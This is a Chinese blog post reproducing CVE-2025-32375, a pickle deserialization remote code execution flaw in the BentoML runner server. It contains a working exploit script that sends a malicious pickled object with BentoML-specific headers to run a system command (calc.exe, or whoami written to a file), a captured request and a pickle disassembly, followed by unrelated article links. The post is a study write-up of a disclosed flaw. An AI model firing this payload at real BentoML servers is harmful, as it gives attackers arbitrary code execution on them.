当前位置: 首页 > article >正文

CVE-2025-32375 | Windows下复现 BentoML runner 服务器远程命令执行漏洞

目录

  • 1. 漏洞描述
  • 2. 漏洞复现
    • 1. 安装 BentoML 1.4.7
    • 2. 创建模型
    • 3. 构建模型
    • 4. 托管模型
    • 5. 执行exp
  • 3. POC
  • 4. 补充学习


参考链接:
https://mp.weixin.qq.com/s/IxLZr83RvYqfZ_eXhtNvgg
https://github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26

虽然原作者的复现步骤已经非常详细,但在亲自搭建的过程中仍学到了不少知识,于是写下这篇文章作为学习笔记。若有疏漏或不当之处,欢迎大家指出,一起交流成长。



1. 漏洞描述


BentoML 是一个开源的机器学习模型服务化平台,旨在简化机器学习模型的部署和管理。通过提供一个统一的框架,BentoML 允许数据科学家和开发者快速将训练好的模型打包成可在生产环境中运行的API服务。它支持多种流行的机器学习框架,如 TensorFlow、PyTorch 和 Scikit-learn,并提供了灵活的模型版本管理、自动化的容器化部署以及与云服务的无缝集成。BentoML 使得机器学习模型的生产化变得更加高效和可控,帮助团队加速从实验到实际应用的转变。该漏洞是BentoML 的 runner 服务器中存在不安全的反序列化,攻击者可以通过在 POST 请求中设置特定的标头和参数,可以在服务器上执行任何未经授权的任意代码,这将授予攻击者在服务器上进行初始访问和信息泄露的权限。

影响范围:BentoML <= 1.4.7



2. 漏洞复现



版本要求:

  • python 3.7 - 3.10,不支持 3.12
  • BentoML 1.4.7

(BentoML 在 1.x 系列和 0.x 差别很大,从 BentoML 1.0.0 开始,最低支持的是 Python 3.7。)


windows本机的 python 是 3.10 版本的,所以直接在 windows 的本机搭建环境,攻击机和靶机都是 windows 本机,ip 地址是 192.168.119.1。



1. 安装 BentoML 1.4.7


下载 1.4.7 版本的 zip文件:https://github.com/bentoml/BentoML/releases/tag/v1.4.7

下载到本地后,解压,进入该目录中,在 cmd 中执行命令:pip install .
出现 Successful built 就算是安装成功了:
在这里插入图片描述



2. 创建模型


创建一个 model.py 文件,代码如下:

import bentoml
import numpy as npclass mymodel:def predict(self, info):return np.abs(info)def __call__(self, info):return self.predict(info)model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)

这段代码的功能:将一个自定义的 Python 模型对象 mymodel 保存为 BentoML 可部署格式的模型文件,用于后续的部署、调用或服务化。


执行命令保存这个模型:python model.py
在这里插入图片描述
BentoMLDeprecationWarning 是一个警告并不是真正的错误。这个警告的意思是 bentoml.picklable_model 这个方法已经在 BentoML 1.4 版本中被弃用了,并且在未来的版本中将被移除。不用管这个警告就可以。



3. 构建模型


创建文件 bentofile.yaml ,用来构建前面保存的模型,这个文件的代码如下:

service: "service.py"  
description: "A model serving service with BentoML"  
python:packages:- bentoml- numpy
models:- tag: MyModel:latest  
include:- "*.py"  


4. 托管模型


创建文件 service.py ,用来托管前面保存的模型,这个文件的代码如下:

import bentoml
from bentoml.io import NumpyNdarray
import numpy as npmodel_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()svc = bentoml.Service("myservice", runners=[model_runner])async def predict(input_data: np.ndarray):input_columns = np.split(input_data, input_data.shape[1], axis=1)result_generator = model_runner.async_run(input_columns, is_stream=True)async for result in result_generator:yield result


分别执行下面的命令,来构建和托管这个模型:

bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555

以下是执行这两条命令的注意问题:

  1. 执行构建命令 bentoml build 时,还是会遇到上面的警告,也是不用管就可以。出现 Successfully built Bento 时,就是构建成功了。

    在这里插入图片描述

  2. 执行托管命令 bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555 时:

    1. 修改 host 参数和 port 参数的值:我搭建在本机 windows 上,直接写了本机的 IP 地址,端口选择一个还没有被占用的就可以。

    2. 执行完同样会出现一些 BentoMLDeprecationWarning ,不用管就好了。在命令刚执行后的几行中,有个 INFO: Starting RunnerServer from "." running on http://192.168.119.1:5555 (Press CTRL+C to quit) ,出现这个就算是成功了。最后光标会停在那里一直闪烁,因为启动的是一个 runner 服务器,会持续监听指定的 ip 和端口,一直运行在前台,直到我们手动停止例如 ctrl + c 。

      在这里插入图片描述

      不放心的话,可以在浏览器中访问 http://192.168.119.1:5555,如果返回下面的页面或者404就算是成功了:

      在这里插入图片描述



5. 执行exp


创建文件 exp.py,exp脚本我在原作者的基础上进行了改动,因为我没有 webhook 服务器,所以执行命令弹出计算器,代码如下:

import requests
import pickleurl = "http://192.168.119.1:5555/"headers = {"args-number": "1","Content-Type": "application/vnd.bentoml.pickled","Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}',"Batch-Size": "-1",
}class P:def __reduce__(self):return (__import__('os').system, ("calc.exe",))response = requests.post(url, headers=headers, data=pickle.dumps(P()))print(response)

使用这个脚本的注意事项:

  1. 不要忘记修改url,修改为前面托管模型时执行的命令中,host 和 port 的参数值。
  2. 不想弹出计算器,也可以将执行命令的结果写入一个文件中,只要确保路径存在即可,例如:return (**import**('os').system, ("whoami > F:\\Download\\BentoML-1.4.7\\rce_result.txt",))
  3. 执行 exp.py 时,要另起一个 cmd,之前的 cmd 在监听端口,不能中断服务。

执行结果,弹出计算器就算成功了:
在这里插入图片描述

原作者还提到 Payload-Container 请求头的内容可以换成 PandasDataFrameContainer,也可以触发漏洞。



3. POC

执行exp.py时,抓取了流量包:

POST / HTTP/1.1
Host: 192.168.119.1:5555
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
args-number: 1
Content-Type: application/vnd.bentoml.pickled
Payload-Container: NdarrayContainer
Payload-Meta: {"format": "default"}
Batch-Size: -1
Content-Length: 43... .........nt...system.....calc.exe...R..HTTP/1.1 200 OK
date: Fri, 11 Apr 2025 05:36:54 GMT
server: uvicorn
bento-payload-meta: {}
content-type: application/vnd.bentoml.DefaultContainer
server: BentoML-Runner/mymodel/__call__/9
content-length: 117...j.........numpy._core.multiarray...scalar.....numpy...dtype.....i8.....R.(K...<.NNNJ....J....K.t.bC............R..

请求体和响应体是一些乱码,需要自己查看二进制看真实的内容。

关于几个请求头:

  1. Content-Type: application/vnd.bentoml.pickled:是一个自定义格式的请求类型:
    1. application/:表示这是一个媒体类型(MIME type)。
    2. vnd.bentoml.vnd 表示这是一个厂商自定义类型,bentoml 是这个厂商的名字,表明这个格式是 BentoML 专属的。
    3. pickled:意思是 请求体的数据经过了 Python 的 pickle 序列化。
  2. Payload-Container: NdarrayContainer:也是一个自定义的请求头,用来告诉 BentoML 服务端下面请求体的内容类型是一个 Numpy 数组容器
    1. Payload-Container:BentoML 自己定义的 header,用于说明 payload(请求体)要用哪个容器格式来反序列化。
    2. NdarrayContainer:意思是这个请求体是一个用 pickle 或其他方式序列化的 Numpy ndarray 数据。
    3. PandasDataFrameContainer:表示这个请求体是一个序列化后的 Pandas DataFrame(通常是用 pickle 或 json 格式序列化的)。



4. 补充学习


因为请求体中的内容乱码了,又想知道请求体的内容是什么,可以执行下面的 exp1.py:

import requests
import pickleurl = "http://192.168.119.1:5555/"headers = {"args-number": "1","Content-Type": "application/vnd.bentoml.pickled","Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}',"Batch-Size": "-1",
}class P:def __reduce__(self):return (__import__('os').system, ("calc.exe",))# 序列化数据
payload = pickle.dumps(P())# 创建一个会话,便于抓取请求详细内容
with requests.Session() as s:request = requests.Request("POST", url, headers=headers, data=payload)prepared = s.prepare_request(request)# 打印请求包内容print("====== 请求包 ======")print(f"{prepared.method} {prepared.url} HTTP/1.1")for k, v in prepared.headers.items():print(f"{k}: {v}")print()print(payload)  # 这里是二进制序列化后的内容# 发送请求response = s.send(prepared)# 打印响应包内容print("\n====== 响应包 ======")print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")for k, v in response.headers.items():print(f"{k}: {v}")print()print(response.text)

执行结果如下:

在这里插入图片描述



可以看到请求体中是使用 pickle 序列化后的 二进制数据:b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.’



用脚本来解一下:

import pickletoolsdata = b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.'pickletools.dis(data)

代码解释:

pickletools.dis() 是 Python 提供的一个调试工具,用来反汇编(disassemble)pickle 序列,也就是把 pickle 的字节流翻译成人类能看懂的指令,一步步解释这个 pickle 是怎么构造的。

Pickle 是“二进制协议”不是明文结构:

  • 它不像 JSON / XML 那样是可读文本。
  • 是 Python 内部用来序列化对象的数据格式,结构紧凑、字段省略,很多内容只有通过解释 opcode(指令码)才能知道含义。


这个脚本的执行结果:

在这里插入图片描述



执行结果的解释:

    0: \x80 PROTO      42: \x95 FRAME      3211: \x8c SHORT_BINUNICODE 'nt'15: \x94 MEMOIZE    (as 0)16: \x8c SHORT_BINUNICODE 'system'24: \x94 MEMOIZE    (as 1)25: \x93 STACK_GLOBAL26: \x94 MEMOIZE    (as 2)27: \x8c SHORT_BINUNICODE 'calc.exe'37: \x94 MEMOIZE    (as 3)38: \x85 TUPLE139: \x94 MEMOIZE    (as 4)40: R    REDUCE41: \x94 MEMOIZE    (as 5)42: .    STOP
highest protocol among opcodes = 4
字节位置指令
\x80 PROTO 4使用 Pickle 协议版本 4
\x95 FRAME 32表明后续 32 字节是一个完整的数据帧
\x8c 'nt'反序列化一个短字符串 'nt'(Windows 平台的内置模块)
\x8c 'system'反序列化 'system'(调用命令行命令的函数名)
\x93 STACK_GLOBAL相当于:__import__('nt').system
\x8c 'calc.exe'反序列化字符串 'calc.exe',要执行的命令
\x85 TUPLE1构造一个参数元组:('calc.exe',)
\x52 REDUCE执行:nt.system('calc.exe')(相当于 __import__('nt').system('calc.exe')
\x2e STOP停止反序列化过程


为什么在 pickle 中看到 nt.system 而不是 os.system:

在 Python 中,__import__('os') 会返回操作系统相关的模块(在 Windows 上通常是 nt 模块)。具体来说:

  • Windows 系统中,os 模块的实现是由 nt 模块提供的。因此,os 实际上是对 nt 模块的一个别名。
  • 当你执行 __import__('os').system 时,os 模块会加载 nt 模块,返回的是 nt.system 函数。

相关文章:

CVE-2025-32375 | Windows下复现 BentoML runner 服务器远程命令执行漏洞

目录 1. 漏洞描述2. 漏洞复现1. 安装 BentoML 1.4.72. 创建模型3. 构建模型4. 托管模型5. 执行exp 3. POC4. 补充学习 参考链接&#xff1a; https://mp.weixin.qq.com/s/IxLZr83RvYqfZ_eXhtNvgg https://github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26 …...

某局jsvmp算法分析(dunshan.js/lzkqow23819/lzkqow39189)

帮朋友看一个税某局的加密算法。 传送门 &#xff08;需要帐号登陆的 普通人没授权也看不了&#xff09; 废话不多说直接抓包开干 这里可以看到一个headers中的加密参数 lzkqow23819 以及url路径里面的6eMrZlPH(这个有点像瑞数里面的&#xff09; 还有就是cookies里面的这几个…...

深入剖析 Kafka 的零拷贝原理:从操作系统到 Java 实践

Kafka 作为一款高性能的分布式消息系统&#xff0c;其卓越的吞吐量和低延迟特性得益于多种优化技术&#xff0c;其中“零拷贝”&#xff08;Zero-Copy&#xff09;是核心之一。零拷贝通过减少用户态与内核态之间的数据拷贝&#xff0c;提升了 Kafka 在消息传输中的效率。本文将…...

AlmaLinux9.5 修改为静态IP地址

查看当前需要修改的网卡名称 ip a进入网卡目录 cd /etc/NetworkManager/system-connections找到对应网卡配置文件进行修改 修改配置 主要修改ipv4部分&#xff0c;改成自己的IP配置 [ipv4] methodmanual address1192.168.252.129/24,192.168.252.254 dns8.8.8.8重启网卡 …...

内联函数通常定义在头文件中的原因详解

什么是内联函数&#xff1f; 内联函数&#xff08;inline function&#xff09;是C中的一种函数优化机制&#xff0c;通过在函数声明前加上inline关键字&#xff0c;建议编译器将函数调用替换为函数体本身的代码&#xff0c;从而减少函数调用的开销。 为什么内联函数需要定义…...

操作系统 4.4-从生磁盘到文件

文件介绍 操作系统中对磁盘使用的第三层抽象——文件。这一层抽象建立在盘块&#xff08;block&#xff09;和文件&#xff08;file&#xff09;之间&#xff0c;使得用户可以以更直观和易于理解的方式与磁盘交互&#xff0c;而无需直接处理磁盘的物理细节如扇区&#xff08;se…...

免费多语言文档翻译软件推荐

软件介绍 今天给大家介绍一款文档翻译助手。它能够支持PDF、Word等多种文档格式&#xff0c;涵盖中文、英文、日语等多语言互译。此软件在翻译过程中精选保留文档原貌&#xff0c;每段文字、每个图表的匹配都十分完美&#xff0c;还依托顶尖翻译大模型&#xff0c;让翻译结果符…...

安全序列(DP)

#include <bits/stdc.h> using namespace std; const int MOD1e97; const int N1e65; int f[N]; int main() {int n,k;cin>>n>>k;f[0]1;for(int i1;i<n;i){f[i]f[i-1]; // 不放桶&#xff1a;延续前一位的所有方案if(i-k-1>0){f[i](f[i]f[i-k…...

【Flask开发】嘿马文学web完整flask项目第4篇:4.分类,4.分类【附代码文档】

教程总体简介&#xff1a;2. 目标 1.1产品与开发 1.2环境配置 1.3 运行方式 1.4目录说明 1.5数据库设计 2.用户认证 Json Web Token(JWT) 3.书架 4.1分类列表 5.搜索 5.3搜索-精准&高匹配&推荐 6.小说 6.4推荐-同类热门推荐 7.浏览记录 8.1配置-阅读偏好 8.配置 9.1项目…...

SQL开发的智能助手:通义灵码在IntelliJ IDEA中的应用

SQL 是一种至关重要的数据库操作语言&#xff0c;尽管其语法与通用编程语言有所不同&#xff0c;但因其在众多应用中的广泛使用&#xff0c;大多数程序员都具备一定的 SQL 编写能力。然而&#xff0c;当面对复杂的 SQL 语句或优化需求时&#xff0c;往往需要专业数据库开发工程…...

基于 Q - learning 算法的迷宫导航

这段 Python 代码实现了一个基于 Q - learning 算法的迷宫导航系统。代码通过定义迷宫环境、实现 Q - learning 算法来训练智能体&#xff0c;使其能够在迷宫中找到从起点到终点的最优路径&#xff0c;同时利用训练好的 Q 表来测试智能体的导航能力。 在这个代码实现的迷宫环境…...

解决:AttributeError: module ‘cv2‘ has no attribute ‘COLOR_BGR2RGB‘

opencv AttributeError: module ‘cv2’ has no attribute ‘warpFrame’ 或者 opencv 没有 rgbd 解决上述问题的方法是&#xff1a; 卸载重装。 但是一定要卸载干净&#xff0c;仅仅卸载opencv-python是不行的。无限重复都报这个错。 使用pip list | grep opencv查看相关的…...

NutriJarvis:AI慧眼识餐,精准营养触手可及!—— 基于深度学习的菜品识别与营养计算系统

NutriJarvis&#xff1a;AI慧眼识餐&#xff0c;精准营养触手可及&#xff01;—— 基于深度学习的菜品识别与营养计算系统 NutriJarvis 是一个基于深度学习的菜品识别与营养计算系统&#xff0c;旨在通过计算机视觉技术自动识别餐盘中的食物&#xff0c;并估算其营养成分&…...

作为一名java技术博主如何突围

作为一位Java开发和技术博主&#xff0c;想要在抖音上快速提升粉丝数量和视频播放量&#xff0c;可以结合以下策略进行优化&#xff1a; 1. 明确目标受众与技术方向 细分领域&#xff1a;技术领域广泛&#xff0c;可以专注于Java开发、算法、框架解析&#xff08;如Spring Boo…...

【LaTeX】

基本使用 \documentclass 类型&#xff1a;文章&#xff08;article&#xff09;、报告&#xff08;report&#xff09;、书&#xff08;book&#xff09; 中文的文章是ctexart&#xff0c;中文字体是UTF8 \documentclass[UTF8]{ctexart} []说明可以省略不写的意思&#xf…...

细说STM32单片机FreeRTOS任务管理相关函数及多任务编程的实现方法

目录 一、FreeRTOS任务管理相关函数 1、FreeRTOS函数 2、FreeRTOS宏函数 3、主要函数功能说明 &#xff08;1&#xff09;创建任务osThreadNew() &#xff08;2&#xff09;删除任务vTaskDelete() &#xff08;3&#xff09;挂起任务vTaskSuspend() &#xff08;4&…...

uniapp微信小程序基于wu-input二次封装TInput组件(支持点击下拉选择、支持整数、电话、小数、身份证、小数点位数控制功能)

一、 最终效果 二、实现了功能 1、支持输入正整数---设置specifyTypeinteger 2、支持输入数字&#xff08;含小数点&#xff09;---设置specifyTypedecimal&#xff0c;可设置decimalLimit来调整小数点位数 3、支持输入手机号--设置specifyTypephone 4、支持输入身份证号---设…...

VLM-R1GRPO微调,强化学习训练, 实战训练教程(2)

https://www.dong-blog.fun/post/2013 VLM-R1GRPO微调&#xff0c; 实战训练教程&#xff08;1&#xff09;&#xff1a; https://www.dong-blog.fun/post/1961 本博客这次使用多图进行GRPO。 官方git项目&#xff1a;https://github.com/om-ai-lab/VLM-R1?tabreadme-ov-f…...

系统弹出消息功能,且保证用户只能获取弹出一次消息

要实现系统弹出消息功能&#xff0c;且保证用户只能获取弹出一次消息&#xff0c;你可以借助 Redis 来达成。基本思路是&#xff1a;把消息存于 Redis 的列表中&#xff0c;同时用 Redis 的集合记录用户是否已接收过该消息。下面是一个示例工具类&#xff0c;其中包含推送消息和…...

Python代码解释

文章目录 代码解析执行过程等价写法其他类似操作 这段代码使用了 Python 的 map() 函数和 lambda 表达式来对列表中的每个元素进行平方运算。让我详细解释一下&#xff1a; 代码解析 numbers [1, 2, 3, 4] squared list(map(lambda x: x**2, numbers))numbers [1, 2, 3, …...

GPIO_ReadInputData和GPIO_ReadInputDataBit区别

目录 1、GPIO_ReadInputData: 2、GPIO_ReadInputDataBit: 总结 GPIO_ReadInputData 和 GPIO_ReadInputDataBit 是两个函数&#xff0c;通常用于读取微控制器GPIO&#xff08;通用输入输出&#xff09;引脚的输入状态&#xff0c;特别是在STM32系列微控制器中。它们之间的主要…...

MySQL数据库编程总结

MySQL数据库编程总结 一、数据库概述 数据库定义 • 数据库是管理数据的软件系统&#xff0c;用于高效存储、管理和检索数据&#xff0c;减少冗余。 • 核心功能&#xff1a;通过SQL语言定义、操作数据&#xff0c;维护完整性和安全性。 常见数据库 • MySQL、Oracle、SQL Ser…...

leetcode-419.棋盘上的战舰

leetcode-419.棋盘上的战舰 文章目录 leetcode-419.棋盘上的战舰一.题目描述二.第一次代码提交三.第二次代码提交 一.题目描述 二.第一次代码提交 class Solution { public:int countBattleships(vector<vector<char>>& board) {int m board.size(); //列数i…...

使用uglifyjs对静态引入的js文件进行压缩

前言 因为有时候js文件没有npm包&#xff0c;或者需要修改&#xff0c;只能引入静态的js&#xff0c;那么这个时候就可以对js进行压缩了。我其实想通过vite、webpack等插件进行压缩的&#xff0c;可是他都不能定位到public目录下面的文件&#xff0c;所以我只能自己压缩了。编…...

ecovadis评分要求,如何提高ecovadis分数,未来展望

EcoVadis评分要求、提升方法及未来展望 1. EcoVadis评分概述 EcoVadis是全球领先的企业可持续发展评级平台&#xff0c;评估企业在环境&#xff08;E&#xff09;、劳工与人权&#xff08;L&#xff09;、商业道德&#xff08;B&#xff09;、可持续采购&#xff08;S&#x…...

程序加壳脱壳原理和实现

理论 一个可运行的执行文件&#xff0c;至少会有一个代码段&#xff0c;程序的入口点指向代码段&#xff0c;程序运行的时候&#xff0c;从入口点开始执行代码段指令 为了将一个正常的程序进行加壳保护&#xff0c;至少要三部分逻辑配合 1、待加壳保护的程序 2、加壳逻辑 3…...

【数据分析实战】使用 Matplotlib 绘制折线图

1、简述 在日常的数据分析、科研报告、项目可视化展示中&#xff0c;折线图是一种非常常见且直观的数据可视化方式。本文将带你快速上手 Matplotlib&#xff0c;并通过几个实际例子掌握折线图的绘制方法。 Matplotlib 是 Python 中最常用的数据可视化库之一&#xff0c;它能够…...

数据仓库标准库模型架构相关概念浅讲

数据仓库与模型体系及相关概念 数据仓库与数据库的区别可参考&#xff1a;数据库与数据仓库的区别及关系_数据仓库和数据库-CSDN博客 总之&#xff0c;数据库是为捕获数据而设计&#xff0c;数据仓库是为分析数据而设计 数据仓库集成工具 在一些大厂中&#xff0c;其会有自…...

亚洲区域健康人群免疫细胞marker

最近发现一篇文献&#xff0c;作者来自新加坡基因研究所&#xff0c;这篇文章大概是整理了619个亚洲人群的免疫多样性图集&#xff08;AIDA&#xff09;&#xff0c;跨越了7个国家&#xff0c;最终使用了1,265,624个免疫细胞的单细胞数据&#xff0c;并最终确定了8种主要的免疫…...

tree-sitter的grammar.js解惑

❓问题1&#xff1a;grammar.js 不是用正则表达式 /.../ 吗&#xff1f;为什么有 print 这样的字符串&#xff1f; ✅ 回答&#xff1a; grammar.js 分成两类“终结符”表示法&#xff1a; 表达方式含义xxx直接匹配该字符串字面量/regex/匹配符合正则的文本 &#x1f4a1; …...